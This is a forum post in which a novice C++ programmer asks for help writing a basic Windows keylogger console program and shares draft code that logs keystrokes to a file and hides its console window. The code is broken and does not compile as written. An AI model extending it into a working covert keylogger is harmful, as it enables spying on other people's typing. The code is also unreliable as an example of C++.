I'm a c programmer, and I just started a personal project of mine to get me in to c++. When I decided to do this, I knew that c doesn't really do strings too well, and there's not much I can do about that, so I decided to use that excuse to learn c++.
I am writing a basic keylogger console program. I am running vista with visual studio c++ 2008. I do not need my code to be able to run on any other OS other than windows.
What I have written so far is based on c++ tutorials found on google, programming sites, etc. I KNOW that the following code probably has numerous conceptual/design problems with it, so I am asking any well-experienced c++ programmer to give me some advice and also EXPLAIN why in plain english so I can understand the principle behind your method.
OK, now for the parts I am having problems with.
1. For the infinite loop I am creating to get the key pressed: What would be the best way to get the actual value of the key being pressed, and then write that to the logfile? The way that I am trying to design it now is getting the key pressed 1 character at a time, then writing that to the logfile. After that key is writting to the logfile, clear that value from the char variable and read in the next key press. OR, would it be better to write a chunk of char data to the logfile at a time?
2. Is there a function that can get ALL keys pressed, including F1, F2, etc. I've already experimented with _getch() and it just returns a whitespace with an F key is pressed. I obviously can't use a regular char key, due to the nature of my program.
Here is what I have so far. Any help is HIGHLY appreciated
Code:
#include <iostream>
#include <string>
#include <time.h>
#include <ctime>
#include <fstream>
#include <conio.h>
#include <windows.h>
int main()
{
// declare variables
char buffer[1];
// display program version and contact information
std::cout << "Keylogger 0.1\nWritten by:\tMark Born\nContact:\[email protected]";
// checking for existing log file
std::fstream logfile("keylog.log");
if (std::basic_fstream::is_open)
{
std::fstream logfile("keylog.log", std::fstream::app);
std::cout << "Existing log file found. Initializing..\n";
}
else
{
std::fstream logfile("keylog.log", std::fstream::app);
std::cout << "No existing log file. Creating log file...\n";
// showing and hiding console window, loop for recording keystrokes
std::cout << "Keylogger has initialized.\nPress F10 to hide console window.\nPress F11 to show console window.\nPress F12 to shutdown.\n";
for (;;)
{
while (_kbhit())
{
std::cin.get(buffer);
if (buffer == "F10")
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
}
if (buffer == "F11")
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_SHOW);
}
if (buffer == "F12")
{
logfile.close();
return (0);
}
}
}